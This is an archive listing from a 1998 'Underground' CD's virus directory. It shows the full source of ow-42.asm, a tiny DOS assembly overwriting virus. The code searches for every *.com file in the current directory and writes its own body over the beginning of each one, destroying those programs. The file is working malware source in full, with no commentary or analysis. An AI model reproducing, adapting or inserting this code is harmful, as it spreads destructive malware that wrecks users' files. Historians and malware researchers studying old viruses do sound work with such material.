home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / o / ow-42.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  547 b   |  21 lines
  1. Main:
  2.                 Mov Ah,4eh
  3. On1:            Lea Dx,FileSpec
  4.                 Int 21h
  5.                 Jc Ende
  6.                 Mov Ax,3d01h
  7.                 Mov Dx,9eh
  8.                 Int 21h
  9.                 Mov Bh,40h
  10.                 Lea Dx,Main
  11.                 Xchg Ax,Bx
  12.                 Mov Cl,Length
  13.                 Int 21h
  14.                 Mov Ah,3eh
  15.                 Int 21h
  16.                 Mov Ah,4fh
  17.                 Jmp On1
  18. FileSpec        Db '*.com',0
  19. Ende:           Ret
  20. Length          Equ $-Main
  21.